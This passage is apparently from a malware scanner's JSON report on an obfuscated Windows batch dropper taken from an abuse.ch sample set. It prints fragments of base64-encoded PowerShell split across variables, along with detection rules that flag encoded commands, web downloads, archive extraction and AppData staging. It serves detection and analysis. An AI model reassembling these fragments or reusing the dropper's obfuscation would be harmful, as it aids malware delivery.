              "u8",
              "set \"Akajukpxmg=bwBwAG\" \u0026 set \"Ucdcjxkgxm=JABvAH\" \u0026 set \"Ahouhdavkg=AGQAKA\" \u0026 set \"Xlnikpdoim=AHMAdA\" \u0026 set \"Colqxxtbpl=AE8ALg\" "
            ],
            [
              11917,
              "u8",
              "set \"Idfoehqnkx=BrACAA\" \u0026 set \"Cnqcnqhntz=UAeQAu\" \u0026 set \"Ztmjiyhirk=BdACkA\""
            ],
            [
              11994,
              "u8",
              "set \"Orokvejppf=BpAGMA\" \u0026 set \"Efrqioyuvk=BsAGwA\""
            ],
            [
              12045,
              "u8",
              "set \"Pzvmsouvpw=BjAGUA\""
            ],
            [
              12070,
              "u8",
              "set \"Yudhphkbkq=AE4Abw\""
            ],
            [
              12095,
              "u8",
              "set \"Vcldtbjahi=AGsAIA\""
            ],
            [
              12120,
              "u8",
              "set \"Wrlifjjcha=AgACQA\""
            ],
            [
              12145,
              "u8",
              "set \"Atnhydcrcz=AHMAdA\" \u0026 set \"Uzxljeeokc=BPAGIA\" \u0026 set \"Pheeuonivu=AuAFQA\""
            ],
            [
              12222,
              "u8",
              "set \"Whjgcddbie=kAbgBl\""
            ],
            [
              12247,
              "u8",
              "set \"Wclgybwpzw=AG4Aaw\""
            ],
            [
              12272,
              "u8",
              "set \"Itgiffqwlg=YwBjAH\" \u0026 set \"Yhyjhgpxyu=BjAHcA\""
            ],
            [
              12323,
              "u8",
              "set \"Zqzrteupjv=B5AHMA\" \u0026 set \"Ymnqvjiglq=gAKQAu\" \u0026 set \"Vpojyezgnz=QQBwAH\""
            ],
            [
              12400,
              "u8",
              "set \"Sopjfycigg=ZQBzAH\" \u0026 set \"Ixwcjzeqqk=AHcALQ\""
            ],
            [
              12451,
              "u8",
              "set \"Nlmslsotdm=kALAAg\" \u0026 set \"Ncsqmuvfsk=BvAGQA\""
            ],
            [
              12502,
              "u8",
              "set \"Vmtofhtehf=AEEAcw\""
            ],
            [
              12527,
              "u8",
              "set \"Qwgmhizwgc=AHoAag\" \u0026 set \"Mwrnqyfssc=YAcgBv\" \u0026 set \"Xechycjhso=B0AGsA\" \u0026 set \"Ptgnkmftpo=AGcAQg\" \u0026 set \"Hegpfaoapo=AHIAbw\" "
            ],
            [
              12708,
              "u8",
              "set \"Erwncupjgt=BvAG0A\" \u0026 set \"Xzsjqzomou=JABZAG\""
            ],
            [
              12759,
              "u8",
              "set \"Dbgnmqyusp=BsAGkA\""
            ],
            [
              12784,
              "u8",
              "set \"Tiktauzhhs=BwAGYA\""
            ],
            [
              12809,
              "u8",
              "set \"Xvvvqpodvn=ZABMAG\""
            ],
            [
              12834,
              "u8",
              "set \"Axncxjyhon=B6AHIA\" \u0026 set \"Mnuduspjsq=8AbQBw\" \u0026 set \"Wzzcefkzfe=AG0AQg\" \u0026 set \"Tehxwbxvov=AGYAbw\""
            ],
            [
              12937,
              "u8",
              "set \"Mjuzfpnlnw=eQAgAD\""
            ],
            [
              12962,
              "u8",
              "set \"Imknlxqobn=BJAG4A\""
            ],
            [
              12987,
              "u8",
              "set \"Rnzzczkisl=AHYAbA\" \u0026 set \"Shqicjjbsz=0AIAB9\""
            ],
            [
              13038,
              "u8",
              "set \"Vscvacatxh=dABpAG\""
            ],
            [
              13063,
              "u8",
              "set \"Mnibxgpags=B0AHIA\""
            ],
            [
              13088,
              "u8",
              "set \"Peqzbhjpyp=AG4AZw\""
            ],
            [
              13113,
              "u8",
              "set \"Acmpznuhsk=AGwAaQ\" \u0026 set \"Sogeivamyh=ADsAIA\""
            ],
            [
              13164,
              "u8",
              "set \"Raawvgtllc=AFsAMQ\" \u0026 set \"Kfxfdcdpgj=BlAGEA\""
            ],
            [
              13215,
              "u8",
              "set \"Ontselidlp=cAagBp\""
            ],
            [
              13240,
              "u8",
              "set \"Ehxzyubook=IAA0AD\""
            ],
            [
              13265,
              "u8",
              "set \"Olidatvitk=AATgBl\" \u0026 set \"Oxkuavnjkd=ACAAPQ\" \u0026 set \"Clqbktaovm=ZQA2AD\""
            ],
            [
              13342,
              "u8",
              "set \"Fpkcvwepft=dgBsAH\""
            ],
            [
              13367,
              "u8",
              "set \"Usdmvxeqar=BvAHIA\" \u0026 set \"Vziwhkyxpi=BNAGUA\""
            ],
            [
              13418,
              "u8",
              "set \"Modsgvcpwv=4AUgBl\""
            ],
            [
              13443,
              "u8",
              "set \"Nqndekoemf=MAdAAg\""
            ],
            [
              13468,
              "u8",
              "set \"Pijdsspstp=AGEAbQ\" \u0026 set \"Cljaoyhkxt=BlAG0A\" \u0026 set \"Ifxehfbuza=B0AC4A\""
            ],
            [
              13545,
              "u8",
              "set \"Vyftpszitv=AgAD0A\" \u0026 set \"Snmxtahyqt=BoAGEA\""
            ],
            [
              13596,
              "u8",
              "set \"Frtfjzojfg=EAZgBj\""
            ],
            [
              13621,
              "u8",
              "set \"Sowcuruqig=IAYQB5\" \u0026 set \"Qysxaxwnlt=UAdwAt\""
            ],
            [
              13672,
              "u8",
              "set \"Ddwhllxqud=AHAAbA\" \u0026 set \"Jpacqyhape=AE8AYg\""
            ],
            [
              13723,
              "u8",
              "set \"Yjagyoowuw=AC0AVA\" \u0026 set \"Gcyntsvsdq=BlAG0A\""
            ],
            [
              13774,
              "u8",
              "set \"Arqfpgtvgr=ACAAUw\""
            ],
            [
              13799,
              "u8",
              "set \"Pzukctuvgx=8AbgAu\""
            ],
            [
              13824,
              "u8",
              "set \"Jhflvazlqa=KQAgAH\" \u0026 set \"Xjraarxypv=cwB0AG\" \u0026 set \"Eeuksyxhru=AF0AOg\" \u0026 set \"Guhzpajaea=AGUAbQ\" \u0026 set \"Czrwzlvjtk=BGAGkA\""
            ],
            [
              13953,
              "u8",
              "set \"Rddjrtkhnm=bABpAH\" \u0026 set \"Gcwqkpcyza=BiAGcA\" \u0026 set \"Gfdwitgpej=AHQAbA\" \u0026 set \"Njfiidbtep=BsAG8A\" \u0026 set \"Djjsjqltpd=AHYAaQ\""
            ],
            [
              14082,
              "u8",
              "set \"Jwclcbkctp=AHAAdQ\""
            ],
            [
              14107,
              "u8",
              "set \"Evetrvwktr=KAAkAF\""
            ],
            [
              14132,
              "u8",
              "set \"Uwbrvfcghk=wA\""
            ],
            [
              14153,
              "u8",
              "set \"Dofuipafdn=gAJABC\" \u0026 set \"Jcfifsrlje=AFkAaw\" \u0026 set \"Njuecroxxs=A6AFIA\" \u0026 set \"Ofyocltcef=A7ACQA\""
            ],
            [
              14256,
              "u8",
              "set \"Oocdpzlzsi=AkAGwA\" \u0026 set \"Atypowjdic=AkAFcA\""
            ],
            [
              14307,
              "u8",
              "set \"Qzjjwryopc=AuAEMA\" \u0026 set \"Uvecarffqw=AGUAKA\" \u0026 set \"Htjpermubi=AEkATw\" \u0026 set \"Urglngvkrf=AG4ATQ\""
            ]
          ],
          "v": {
            "file.stem": "5ea4e5a7bf4eea3fc6bc09fddcda1844dc29481429fe05e5d4f65776f51a5a8e",
            "file.basename": "5ea4e5a7bf4eea3fc6bc09fddcda1844dc29481429fe05e5d4f65776f51a5a8e.bat"
          },
          "id": "batch"
        },
        "id": 0,
        "sz": 156278,
        "ts": [
          {
            "a": "T1027,T1112,T1059.001",
            "c": 0.8999999761581421,
            "d": "Batch has long encoded token",
            "e": [
              "text.long_token_count = 233.00"
            ],
            "i": "objectives/command-and-control/dropper/staging/embedded::batch-has-long-token",
            "l": 1
          },
          {
            "a": "T1083",
            "c": 0.8600000143051147,
            "d": "Windows AppData executable path",
            "e": [
              "%APPDATA%\\%~n0%~x0\"\r\nset \"Hesenljicu= +\" \u0026 set \"Pmkgbzmsbb=+h\" \u0026 set \"Nninwptvth=s \"\r\nset \"Xspaudmquu=at\" \u0026 set \"Qxfwysaluf=ib\"\r"
            ],
            "i": "micro-behaviors/fs/path/application/executable::appdata-exe-path",
            "l": 3,
            "m": "E1083"
          },
          {
            "c": 0.9200000166893005,
            "d": "Batch saturated with long tokens",
            "e": [
              "text.long_token_count = 233.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-long-token-saturation",
            "l": 4
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive extraction command marker",
            "e": [
              "7z"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-archive-extract",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive download tool marker",
            "e": [
              "IwR"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-download-archive-tool",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "Variable assigned l fragment",
            "e": [
              "Tqeedwsbsw=l"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::del-fragment-l-var",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 5239.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.6000000238418579,
            "d": "Echo off",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::echo-off",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "Batch extreme line-length bloat",
            "e": [
              "text.avg_line_length = 305.63"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-extreme-line-bloat",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "APPDATA"
            ],
            "i": "objectives/persistence/login/startup/folder::batch-startup-var-assignment--rx-2",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "echo off batch command",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/builder::echo-off-batch",
            "l": 1
          },
          {
            "c": 0.9599999785423279,
            "d": "Batch saturated with long lines",
            "e": [
              "text.lines_over_200 = 235.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-long-line-saturation",
            "l": 4
          },
          {
            "a": "T1059.001",
            "c": 0.8999999761581421,
            "d": "Batch encoded command flag",
            "e": [
              "-enC"
            ],
            "i": "objectives/command-and-control/dropper/execution/shell-chain::batch-encoded-command-flag",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "Variable assigned d fragment",
            "e": [
              "Osimhetikg=d"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::del-fragment-d-var",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "Variable assigned e fragment",
            "e": [
              "Bdbogrampc=e"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::del-fragment-e-var",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Batch unusually low whitespace density",
            "e": [
              "text.whitespace_ratio = 0.02"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-low-whitespace-density",
            "l": 4
          },
          {
            "a": "T1059.001",
            "c": 0.8600000143051147,
            "d": "PowerShell EncodedCommand flag",
            "e": [
              "-enC"
            ],
            "i": "micro-behaviors/process/create/hidden::encodedcommand-flag-raw",
            "l": 4
          },
          {
            "a": "T1027,T1112,T1059.001",
            "c": 0.8600000143051147,
            "d": "Batch has near-zero whitespace",
            "e": [
              "text.whitespace_ratio = 0.02"
            ],
            "i": "objectives/command-and-control/dropper/staging/embedded::batch-near-zero-whitespace",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 508.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.02"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High overall text entropy (encoded",
            "e": [
              "text.char_entropy = 6.11"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy",
            "l": 2,
            "m": "B0032"
          },
          {
            "d": ".exe extension reference",
            "e": [
              ".exe"
            ],
            "i": "micro-behaviors/fs/path/extension::exe-dup",
            "l": 2
          },
          {
            "c": 0.9700000286102295,
            "d": "Batch fragmentation and junk-padding profile",
            "e": [
              "text.lines_over_200 = 235.00",
              "text.whitespace_ratio = 0.02",
              "text.avg_line_length = 305.63",
              "text.long_token_count = 233.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-fragmentation-metrics",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: xor",
            "e": [
              "#QD''pGAX{j1C?`I}'Zy;~Rn#GI|?8QJ1EO0#a;m \u003cxor\u003e"
            ],
            "i": "metadata/encoded-payload/xor",
            "l": 3,
            "el": [
              "offset:154157"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Detects batch script storing chunks of payload in random environment variables",
            "e": [
              "\u0026 set \"Paduulnegz=IZ\"",
              "\u0026 set \"Rdksejktbh=IM\"",
              "\u0026 set \"Nnodokzhxe=ED\"",
              "@echo off",
              "\u0026 set \"Wikfhrexrm= e\"",
              "\u0026 set \"Uaegjwrmls=MI\"",
              "$set"
            ],
            "i": "third_party/Elceef/BAT/Chunked/Payload/Setenv",
            "l": 5,
            "el": [
              "offset:0x8b",
              "offset:0xa1",
              "offset:0x1f",
              "offset:0x0",
              "offset:0x35",
              "offset:0x60",
              "offset:0x9"
            ]
          }
        ],
        "sha": "5ea4e5a7bf4eea3fc6bc09fddcda1844dc29481429fe05e5d4f65776f51a5a8e",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2023-08/5ea4e5a7bf4eea3fc6bc09fddcda1844dc29481429fe05e5d4f65776f51a5a8e.bat",
        "type": "batch"
      }
    ],
    "tv": "52045"
  }
}